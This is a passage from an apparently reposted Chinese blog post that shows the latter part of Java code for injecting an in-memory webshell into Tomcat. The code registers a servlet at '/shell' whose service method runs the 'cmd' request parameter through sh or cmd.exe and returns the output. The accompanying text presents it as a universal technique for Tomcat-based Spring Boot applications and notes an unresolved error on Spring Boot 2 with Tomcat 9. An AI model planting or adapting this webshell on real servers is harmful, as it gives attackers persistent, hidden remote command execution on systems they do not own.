142.                     newWrapper.setServlet(myServlet);
143.                     standardContext.addChild(newWrapper);
144.                     standardContext.addServletMappingDecoded("/shell", "xxx");
145.                 }
146.             }
147.         }
148.     }
150.     @Override
151.     public void init(ServletConfig servletConfig) throws ServletException {
153.     }
155.     @Override
156.     public ServletConfig getServletConfig() {
157.         return null;
158.     }
160.     @Override
161.     public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
162.         String cmd = req.getParameter("cmd");
163.         boolean isLinux = true;
164.         String osTyp = System.getProperty("os.name");
165.         if (osTyp != null && osTyp.toLowerCase().contains("win")) {
166.             isLinux = false;
167.         }
168.         String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
169.         InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
170.         Scanner s = new Scanner(in).useDelimiter("\\a");
171.         String output = s.hasNext() ? s.next() : "";
172.         //普通回显
173.         PrintWriter out = res.getWriter();
174.         out.println(output);
175.         out.flush();
176.         out.close();
177.     }
179.     @Override
180.     public String getServletInfo() {
181.         return null;
182.     }
184.     @Override
185.     public void destroy() {
187.     }
188. }

复制代码

这是在所有基于tomcat的javaweb的一种通杀方法，我们可以获取当前所有进程，总可以获取到总服务里的springboot的进程，如许进而获取此中的context，然后再注入内存马。但是似乎代码逻辑有题目，springboot2+tomcat9的情况下会报错，别的情况未尝试，待解决....

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。